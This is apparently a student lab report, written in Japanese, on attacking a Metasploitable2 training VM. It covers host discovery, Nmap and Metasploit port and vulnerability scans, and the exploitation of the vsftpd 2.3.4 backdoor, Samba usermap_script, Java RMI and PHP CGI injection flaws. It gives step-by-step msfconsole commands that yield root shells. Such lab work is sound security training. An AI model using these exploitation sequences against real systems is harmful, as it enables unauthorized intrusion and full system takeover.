ネットワークとシステムの攻防技術に関する実験レポート
1. 実験内容
- 指定されたMetasploitable2ターゲットマシンの発見、ポートスキャン、および脆弱性スキャンを実施する。
- 以下の4つの脆弱性を悪用することで、Metasploitの使用法を習得する:
- Vsftpdソースコードバックドア脆弱性
- Samba MS-RPCシェルコマンド注入脆弱性
- Java RMIサーバーのコマンド実行脆弱性
- PHP CGIパラメータ実行注入脆弱性
2. 実験手順
2.1 侵入テストの準備
2.1.1 ホスト発見
まず、指定されたMetasploitable2ホストのIPアドレスを特定します。これにより、後のスキャン作業が容易になります。
ターゲットマシンのIPアドレスは192.168.179.142であることが確認できました。
Metasploit内でARPスキャンモジュールarp_sweepを検索し、使用します。リモートホストアドレスRHOSTSをターゲットマシンのIPセグメントに設定します。具体的なコマンドは以下の通りです:
msfconsole #Metasploitを起動
search arp_sweep #ARPスキャン関連の補助モジュールを検索
use 0 #検索結果の最初のモジュールを使用
set RHOSTS 192.168.179.0/24 #仮想機が存在するネットワークセグメントをスキャン
run #スキャンを開始
スキャン結果から、ターゲットマシンがオンラインであり、そのネットワークカード識別子がVMWare,Inc.であることが確認できました。これはVMWare仮想機であることを証明しています。
2.1.2 ポートスキャン
2.1.2.1 Nmapを使用したスキャン
WindowsホストまたはKali Linuxホストのいずれかで、以下のコマンドを実行してターゲットマシンに対するポートスキャンとバージョン検出を行います:
nmap -sS -sV 192.168.179.142
2.1.2.2 MetasploitのPortScan補助モジュールを使用したスキャン
Metasploitコンソールで以下のコマンドを入力します:
use auxiliary/scanner/portscan/tcp #TCPポートスキャンモジュール
set RHOSTS 192.168.179.142 #対象IPを設定
set THREADS 10 #スレッド数を設定してスキャン速度を向上
run #スキャンを開始
2.1.3 脆弱性スキャン
2.1.3.1 Nmapを使用した脆弱性スキャン
WindowsホストまたはKali Linuxホストで、以下のコマンドを実行してターゲットマシンに対する脆弱性スキャンを行います:
nmap -script=vuln 192.168.179.142
vsFTPd 2.3.4 バックドア脆弱性
- 脆弱性ポート:21/tcp (FTPサービス)
- リスクレベル:深刻 - システムの最高権限を直接取得可能。
- 脆弱性の説明:これは著名なvsFTPd 2.3.4バックドア脆弱性です。攻撃者はユーザー名に特定の文字(例:
:()を埋め込むことでこのバックドアをトリガーできます。スキャン結果はこの脆弱性の悪用に成功し、uid=0(root) gid=0(root)を返しました。これはパスワード不要でroot権限のコマンドシェルを取得し、ターゲットシステムを完全に掌握できることを証明しています。 - 状態:
VULNERABLE (Exploitable)- 存在が確認され、悪用可能。
2.1.3.2 Nessusを使用した脆弱性スキャン
Nessusを使用したスキャン結果も同様に、いくつかの深刻な脆弱性を検出しました。
2.2 脆弱性の悪用
2.2.1 Vsftpdソースコードバックドア脆弱性(ポート21)
脆弱性スキャンでvsftpdのバージョンを既に検証しているため、ここでは直接攻撃を実行します。
Kali LinuxのMetasploitコンソールで以下のコマンドを入力します:
use exploit/unix/ftp/vsftpd_234_backdoor #対応する脆弱性モジュールを使用
set RHOST 192.168.179.142 #ターゲットホストを設定
exploit #攻撃を開始
攻撃結果、root権限のシェルを正常に取得しました。
2.2.2 Samba MS-RPCシェルコマンド注入脆弱性(ポート139)
Kali LinuxのMetasploitコンソールで以下のコマンドを入力します:
use exploit/multi/samba/usermap_script #脆弱性モジュールを選択
set RHOST 192.168.179.142 #攻撃対象のマシンIPを設定
exploit #攻撃を開始
攻撃結果、root権限のシェルを正常に取得しました。
2.2.3 Java RMIサーバーのコマンド実行脆弱性(ポート1099)
以前のポートスキャンで1099ポートが開いていることを検出しているため、直接攻撃を実行します。
Kali LinuxのMetasploitコンソールで以下のコマンドを入力します:
use exploit/multi/misc/java_rmi_server
set RHOST 192.168.179.142 #攻撃対象のマシンIPを設定
exploit #攻撃を開始
shell
攻撃結果、root権限のシェルを正常に取得しました。
2.2.4 PHP CGIパラメータ実行注入脆弱性(ポート80)
Kali LinuxのMetasploitコンソールで以下のコマンドを入力します:
use exploit/multi/http/php_cgi_arg_injection #脆弱性モジュールを選択
set RHOST 192.168.179.142 #攻撃対象のマシンIPを設定
exploit #攻撃を開始
攻撃結果、シェルを正常に取得しましたが、これはrootユーザーではなく、サービスを作成したユーザーwww-dataです。
3. 学習の感想と考察
今回の実験内容は難易度が低く、主な難点は以前の実験で既に解決されています。そのため、私たちの作業は基本的にいくつかのコマンドを実行し、スクリーンショットを撮ることでした。
実験内容は難易度が低いですが、その背後にある原理は決して単純ではありません。現時点で実験で習得した部分だけでは不十分だと考えており、今後は背後にある原理をさらに詳細に研究する必要があります。